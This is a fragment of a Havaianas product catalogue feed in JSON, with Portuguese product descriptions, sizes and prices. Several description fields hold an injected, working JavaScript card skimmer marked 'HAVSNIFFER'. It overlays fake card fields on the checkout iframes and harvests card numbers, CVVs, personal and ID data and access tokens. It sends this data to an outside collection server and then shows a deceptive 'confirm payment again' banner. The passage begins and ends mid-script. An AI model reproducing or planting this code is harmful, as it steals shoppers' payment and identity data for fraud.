{banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eHora de você colocar o seu estilo para jogo com as Havaianas Power 2.\u003cbr\u003e0.\u003cbr\u003e Hit entres os consumidores, o modelo é sucesso porque tem design diferenciado e sola com borracha extramacia.\u003cbr\u003e É ideal para relaxar os pés antes e depois de praticar esportes.\u003cbr\u003e Disponível em tons predominantemente primários, uma tendência atual, é o produto certeiro para quem quer conforto.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Laranja Sunset \/ 37\/38","offer_id":46208067928321,"sku":"4145492_5568_378","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Laranja Sunset \/ 39\/40","offer_id":46208067961089,"sku":"4145492_5568_390","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Laranja Sunset \/ 41\/42","offer_id":46208067993857,"sku":"4145492_5568_412","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Laranja Sunset \/ 43\/44","offer_id":46208068026625,"sku":"4145492_5568_434","price":94.99,"currency_code":"BRL","in_stock":true},{"title":"Laranja Sunset \/ 45\/46","offer_id":46208068059393,"sku":"4145492_5568_456","price":94.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145492-5568-power-2-0-0.png?v=1744395521"},{"product_id":"chinelo-havaianas-dual-4145602_5983","title":"Chinelo Havaianas Dual","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Havaianas Dual é para quem está em busca de um chinelo esportivo e moderno.\u003cbr\u003e As tiras mais grossas são bicolor e o solado superconfortável, em duas camadas, vai fazer dessa sandália sua maior companheira!\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Verde Oliva \/ 37\/38","offer_id":46208068092161,"sku":"4145602_5983_378","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 39\/40","offer_id":46208068124929,"sku":"4145602_5983_390","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 41\/42","offer_id":46208068157697,"sku":"4145602_5983_412","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 43\/44","offer_id":46208068190465,"sku":"4145602_5983_434","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 45\/46","offer_id":46208068223233,"sku":"4145602_5983_456","price":79.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145602-5983-dual-0.png?v=1744395849"},{"product_id":"chinelo-havaianas-dual-4145602_9483","title":"Chinelo Havaianas Dual","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Havaianas Dual é para quem está em busca de um chinelo esportivo e moderno.\u003cbr\u003e As tiras mais grossas são bicolor e o solado superconfortável, em duas camadas, vai fazer dessa sandália sua maior companheira!\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Marinho \/ 37\/38","offer_id":46208068288769,"sku":"4145602_9483_378","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 39\/40","offer_id":46208068321537,"sku":"4145602_9483_390","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 41\/42","offer_id":46208068354305,"sku":"4145602_9483_412","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 43\/44","offer_id":46208068387073,"sku":"4145602_9483_434","price":79.99,"currency_code":"BRL","in_stock":true},{"title":"Marinho \/ 45\/46","offer_id":46208068419841,"sku":"4145602_9483_456","price":79.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145602-9483-dual-0.png?v=1744395751"},{"product_id":"chinelo-havaianas-urban-print-4148359_6808","title":"Chinelo Havaianas Urban Print","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v 